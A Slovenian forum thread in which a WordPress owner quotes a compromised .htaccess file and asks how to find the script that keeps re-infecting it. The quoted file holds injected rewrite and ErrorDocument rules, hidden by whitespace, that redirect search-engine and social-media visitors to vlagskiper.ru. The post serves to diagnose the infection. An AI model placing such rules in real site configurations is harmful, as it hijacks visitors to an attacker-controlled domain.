.htaccess redirect virus

6 naročnikov

Na serverju sem fasal to nadlogo:

<IfModule mod_rewrite.c>                                                                                                                        
                                                                                                                        RewriteEngine On                                                                                                                        
                                                                                                                        RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)                                                                                                                        
                                                                                                                        RewriteRule ^(.*)$ http://vlagskiper.ru/yazik?12 [R=301,L]                                                                                                                      
                                                                                                                        </IfModule>                                                                                                                     


# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress


                                                                                                                        ErrorDocument 400 http://vlagskiper.ru/yazik?12                                                                                                                     
                                                                                                                        ErrorDocument 401 http://vlagskiper.ru/yazik?12                                                                                                                     
                                                                                                                        ErrorDocument 403 http://vlagskiper.ru/yazik?12                                                                                                                     
                                                                                                                        ErrorDocument 404 http://vlagskiper.ru/yazik?12                                                                                                                     
                                                                                                                        ErrorDocument 500 http://vlagskiper.ru/yazik?12

To se mi dogaja na vseh straneh na serverju (vse WP). Ko pobrišem .htaccess in ga nadomestim s pravo vsebino, je po par minutah že ta okužen nazaj. Cel dan se že mučim in iščem trigger, ki to povzroča, tako da se mi že rahlo meša.

Ima kdo kak nasvet, kako na čim enostavnejši način poiskat fajl(e), ki vsebuje kodo, ki to dela?

Vmes sem že updateal WP, vse plugine, menjal FTP pass, ampak nič ni pomagalo.

(v kodi je treba desno scrollat, da vidiš "dodatek")

Zamenjaj še FTP geslo za vsak slucaj.